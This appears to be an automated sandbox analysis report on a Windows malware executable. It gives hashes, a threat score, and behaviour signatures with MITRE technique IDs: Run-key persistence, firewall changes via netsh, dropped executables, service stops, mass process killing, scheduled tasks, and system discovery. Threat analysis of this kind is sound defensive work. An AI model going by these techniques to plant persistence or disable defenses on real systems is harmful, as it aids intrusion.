2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551

Analysis

max time kernel
120s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
03/10/2026, 18:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
Size 1.2MB
Sample261003-xdk8aaveja
SHA256 2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551
MD5 bbf682c69500abf37914d414b5bbf278
SHA1 26085535f0b6ba7685dcb8867c7e1bdbc55c5b13
SHA512 8737464800af7d5f529f37b45ba26d2968a1e9ff071c3839c438deb3615992c8a5a9051d73ff899e8471fe1e878938aa8aed7e3460604540248824b47450a723
SSDEEP 24576:9mVJlc+HYsT+EQetbEnRNcFmWVBbQLv+orGM+kHOv:4y+HYsT+B92Tc+oaz
TLSH
T1DE555C23E15288B1D12862B122FB0B34AE79D7B21E318943E7D4CC747E62B71D72B15E
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation upx

Malware Config

Signatures

Adds policy Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ADSL Dial = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe"	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe

Modifies Windows Firewall 2 TTPs 9 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
5568	netsh.exe
6216	netsh.exe
216	netsh.exe
6872	netsh.exe
6868	netsh.exe
5268	netsh.exe
1632	netsh.exe
6544	netsh.exe
4852	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Control Panel\International\Geo\Nation	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes dropped EXE 3 IoCs

pid	Process
5264	SQLAGENTSWE.exe
5416	SQLAGENTSWE.exe
5980	SQLAGENTSWE.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002
Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
1744	WScript.exe

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2360-1-0x0000000000C10000-0x0000000000C1B000-memory.dmp	upx
behavioral1/memory/2360-2-0x0000000000C10000-0x0000000000C1B000-memory.dmp	upx
behavioral1/memory/5264-45-0x0000000000790000-0x000000000079B000-memory.dmp	upx
behavioral1/memory/5416-48-0x00000000007D0000-0x00000000007DB000-memory.dmp	upx
behavioral1/memory/5980-51-0x0000000002290000-0x000000000229B000-memory.dmp	upx

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Fonts\SQLAGENTSWE.exe	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe

Launches sc.exe 26 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5072	sc.exe
2008	sc.exe
5436	sc.exe
2120	sc.exe
2272	sc.exe
3796	sc.exe
1884	sc.exe
536	sc.exe
3164	sc.exe
3244	sc.exe
2972	sc.exe
5068	sc.exe
3272	sc.exe
5780	sc.exe
4380	sc.exe
5556	sc.exe
6728	sc.exe
4480	sc.exe
3792	sc.exe
3248	sc.exe
1248	sc.exe
3700	sc.exe
5880	sc.exe
6652	sc.exe
1140	sc.exe
3164	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 64 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1720	cmd.exe
720	cmd.exe
1084	cmd.exe
5380	cmd.exe
4572	cmd.exe
3744	cmd.exe
1648	cmd.exe
4432	cmd.exe
2268	cmd.exe
2332	cmd.exe
5616	cmd.exe
4476	cmd.exe
4916	cmd.exe
4148	cmd.exe
5536	cmd.exe
5696	cmd.exe
1208	cmd.exe
2908	cmd.exe
3856	cmd.exe
2280	cmd.exe
5308	cmd.exe
1684	cmd.exe
1984	cmd.exe
3652	cmd.exe
5176	cmd.exe
3276	cmd.exe
3444	cmd.exe
3972	cmd.exe
2856	cmd.exe
5656	cmd.exe
3176	cmd.exe
3700	cmd.exe
1912	cmd.exe
5216	cmd.exe
4332	cmd.exe
1788	cmd.exe
5004	cmd.exe
372	cmd.exe
6836	cmd.exe
4052	cmd.exe
2440	cmd.exe
4204	cmd.exe
4828	cmd.exe
6640	cmd.exe
5492	cmd.exe
4612	cmd.exe
2236	cmd.exe
3280	cmd.exe
6908	cmd.exe
5168	cmd.exe
2464	cmd.exe
5444	cmd.exe
6884	cmd.exe
3508	cmd.exe
2432	cmd.exe
5356	cmd.exe
5212	cmd.exe
6968	cmd.exe
3124	cmd.exe
1004	cmd.exe
2220	cmd.exe
4672	cmd.exe
6512	cmd.exe
616	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WScript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WScript.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe

Kills process with taskkill 64 IoCs

defense_evasion

pid	Process
5320	taskkill.exe
3328	taskkill.exe
3692	taskkill.exe
3908	taskkill.exe
1040	taskkill.exe
4576	taskkill.exe
5060	taskkill.exe
2104	taskkill.exe
5668	taskkill.exe
4892	taskkill.exe
4204	taskkill.exe
4320	taskkill.exe
5316	taskkill.exe
6400	taskkill.exe
5044	taskkill.exe
3736	taskkill.exe
5040	taskkill.exe
1712	taskkill.exe
4756	taskkill.exe
4156	taskkill.exe
4072	taskkill.exe
2220	taskkill.exe
2252	taskkill.exe
4676	taskkill.exe
5300	taskkill.exe
5588	taskkill.exe
6020	taskkill.exe
4852	taskkill.exe
3272	taskkill.exe
532	taskkill.exe
3460	taskkill.exe
344	taskkill.exe
3760	taskkill.exe
3760	taskkill.exe
1380	taskkill.exe
1380	taskkill.exe
3240	taskkill.exe
2916	taskkill.exe
4036	taskkill.exe
2648	taskkill.exe
4628	taskkill.exe
5460	taskkill.exe
836	taskkill.exe
5492	taskkill.exe
4548	taskkill.exe
3240	taskkill.exe
344	taskkill.exe
4548	taskkill.exe
5320	taskkill.exe
5800	taskkill.exe
4136	taskkill.exe
676	taskkill.exe
4112	taskkill.exe
3932	taskkill.exe
1784	taskkill.exe
2672	taskkill.exe
5400	taskkill.exe
6760	taskkill.exe
3368	taskkill.exe
2556	taskkill.exe
2888	taskkill.exe
4824	taskkill.exe
1744	taskkill.exe
3320	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000_Classes\Local Settings	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe

Modifies registry key 1 TTPs 4 IoCs

Modify Registry

T1112

pid	Process
960	reg.exe
5188	reg.exe
6856	reg.exe
2668	reg.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 14 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
6200	schtasks.exe
5816	schtasks.exe
5752	schtasks.exe
6028	schtasks.exe
6332	schtasks.exe
5984	schtasks.exe
6288	schtasks.exe
5664	schtasks.exe
3736	schtasks.exe
5884	schtasks.exe
5640	schtasks.exe
5552	schtasks.exe
6092	schtasks.exe
6496	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe
2360	2b49a0edc08ee2f0f018455ebc49930a6fb946a160d94129531205c5f95d6551.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3368	taskkill.exe
Token: SeDebugPrivilege	3440	taskkill.exe
Token: SeDebugPrivilege	4112	taskkill.exe
Token: SeDebugPrivilege	2888	taskkill.exe
Token: SeDebugPrivilege	1892	taskkill.exe
Token: SeDebugPrivilege	4892	taskkill.exe
Token: SeDebugPrivilege	1712	taskkill.exe
Token: SeDebugPrivilege	4576	taskkill.exe
Token: SeDebugPrivilege	3328	taskkill.exe
Token: SeDebugPrivilege	64	taskkill.exe
Token: SeDebugPrivilege	532	taskkill.exe
Token: SeDebugPrivilege	4204	taskkill.exe
Token: SeDebugPrivilege	4976	taskkill.exe
Token: SeDebugPrivilege	4036	taskkill.exe
Token: SeDebugPrivilege	3240	taskkill.exe
Token: SeDebugPrivilege	5044	taskkill.exe
